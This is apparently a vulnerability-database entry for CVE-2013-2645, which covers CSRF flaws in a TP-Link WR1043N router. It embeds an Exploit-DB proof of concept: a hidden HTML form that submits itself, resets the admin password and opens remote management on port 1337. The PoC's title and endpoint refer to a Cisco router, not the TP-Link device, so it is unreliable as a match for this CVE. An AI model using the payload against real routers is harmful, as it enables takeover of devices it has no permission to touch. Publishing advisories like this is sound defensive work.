CVE-2013-2645

critical

Published 2014-10-06 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Multiple cross-site request forgery (CSRF) vulnerabilities on the TP-LINK WR1043N router with firmware TL-WR1043ND_V1_120405 allow remote attackers to hijack the authentication of administrators for requests that (1) enable FTP access (aka "FTP directory traversal") to /tmp via the shareEntire parameter to userRpm/NasFtpCfgRpm.htm, (2) change the FTP administrative password via the nas_admin_pwd parameter to userRpm/NasUserAdvRpm.htm, (3) enable FTP on the WAN interface via the internetA parameter to userRpm/NasFtpCfgRpm.htm, (4) launch the FTP service via the startFtp parameter to userRpm/NasFtpCfgRpm.htm, or (5) enable or disable bandwidth limits via the QoSCtrl parameter to userRpm/QoSCfgRpm.htm.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38492 remote hardware verified text · 1 KB

Jacob Holcomb · 2013-04-24

TP-Link TL-WR1043N Router - Cross-Site Request Forgery

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/59442/info

The TP-Link TL-WR1043N Router is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected device. 

d> <title>Cisco WRT310Nv2 Firmware v2.0.01 CSRF/XSS</title> <!--*Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators --> </head> <body> <form name="CSRFxssPWN" action="http://ww.example.com/apply.cgi" method="post"/> <input type="hidden" name="submit_button" value="Management"/> <input type="hidden" name="action" value="Apply"/> <input type="hidden" name="PasswdModify" value="1"/> <input type="hidden" name="http_enable" value="1"/> <input type="hidden" name="wait_time" value="0"/> <input type="hidden" name="http_passwd" value="ISE_1337"/> <input type="hidden" name="http_passwdConfirm" value="ISE_1337"/> <input type="hidden" name="_http_enable" value="1"/> <input type="hidden" name="remote_management" value="1"/> <input type="hidden" name="remote_upgrade" value="1"/> <input type="hidden" name="remote_ip_any" value="1"/> <input type="hidden" name="http_wanport" value="1337"/> <input type="hidden" name="upnp_enable" value="1"/> <input type="hidden" name="upnp_config" value="1"/> <input type="hidden" name="upnp_internet_dis" value="1"/> </form> <script> function PwN() {document.CSRFxssPWN.submit();}; window.setTimeout(PwN, 0025); </script> <body> </html>

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.